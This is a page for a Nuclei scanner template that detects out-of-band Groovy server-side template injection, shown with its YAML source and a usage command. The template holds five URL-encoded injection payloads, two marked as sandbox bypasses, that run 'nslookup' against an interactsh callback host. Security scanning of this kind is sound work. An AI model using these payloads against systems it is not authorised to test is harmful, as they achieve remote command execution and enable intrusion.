Groovy - Out of Band Template Injection

ID: groovy-oob

Severity: high

Author: 0xAwali,DhiyaneshDK,ritikchaddha

Tags: ssti,dast,oast,oob,groovy

Description

Apache Groovy is a dynamic language with optional static type checking. It is similar to languages like Python, Ruby, Perl, and Smalltalk. It can be used as a scripting language for the Java platform.

YAML Source

id: groovy-oob

info:
  name: Groovy - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK,ritikchaddha
  severity: high
  description: |
    Apache Groovy is a dynamic language with optional static type checking. It is similar to languages like Python, Ruby, Perl, and Smalltalk. It can be used as a scripting language for the Java platform.
  reference:
    - https://docs.groovy-lang.org/
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#groovy---command-execution
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,groovy

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - '%24%7Brce%3D%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22%3Brce.execute%28%29.text%7D'
        - "%24%7B%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22.exec()%7D"
        - "%24%7Bnew%20org.codehaus.groovy.runtime.MethodClosure(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22%2C%22execute%22).call()%7D"
        # Sandbox bypass
        - "%24%7B%20%40ASTTest(value%3D%7Bassert%20java.lang.Runtime.getRuntime().exec(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)%7D)%20def%20x%20%7D"
        - "%24%7B%20new%20groovy.lang.GroovyClassLoader().parseClass(%22%40groovy.transform.ASTTest(value%3D%7Bassert%20java.lang.Runtime.getRuntime().exec(%5C%22nslookup%20-type%3DSRV%20{{interactsh-url}}%5C%22)%7D)def%20x%22)%20%7D"

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 490a0046304402205ead8b6ab5843cf8f9dacbf9c9b30903379407d101cf23f135ee3412487d306e0220265dec49712207006d6488a7c29aa571781985047f146485cb74bd889382f80a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/groovy-oob.yaml"

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